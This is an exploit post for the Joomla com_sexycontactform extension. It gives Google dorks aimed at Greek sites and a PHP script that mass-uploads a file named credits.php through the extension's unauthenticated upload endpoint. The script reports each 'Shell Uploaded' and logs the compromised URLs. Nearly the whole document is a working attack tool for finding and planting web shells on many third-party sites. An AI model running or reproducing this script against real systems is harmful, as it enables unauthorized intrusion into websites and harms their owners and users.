Title: Joomla com_sexycontactform auto-exploiter

Title: Joomla com_sexycontactform auto-exploiter



Author: Kyfx






Google Dork: "/components/com_sexycontactform/" site:gr

Google Dork: "Powered by sexycontact" site:gr

Google Dork: inurl:"sexy-contact-form" site:gr



Source code:



<?php

function banner(){

echo "========= SexyContactForm Auto Exploiter ==============\n\n";

echo "Coded By  : KkK1337\n\n";

echo "========== Done =============\n\n";

}

banner();

$url=file($argv[1]);

foreach ($url as $sites){

$sites=trim($sites);

$pro="credits.php";

$upload="$sites/components/com_sexycontactform/fileupload/files/$pro";

$ch = curl_init ();

    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);

    curl_setopt ($ch, CURLOPT_POST, 1);

        curl_setopt ($ch, CURLOPT_URL, "$sites/components/com_sexycontactform/fileupload/index.php");

        @curl_setopt ($ch, CURLOPT_POSTFIELDS, array ("files[]" => "@".$pro));

curl_exec($ch);

        if (preg_match ("/credits.php/i", @file_get_contents("$sites/components/com_sexycontactform/fileupload/index.php")))

        {

            echo "[Shell Uploaded] => $sites\n";

            $ux = "".$upload."\r\n"; $save=fopen('done.txt','ab'); fwrite($save,"$ux");

}

else{

echo "[ERROR] => $sites\n";

}

}

?>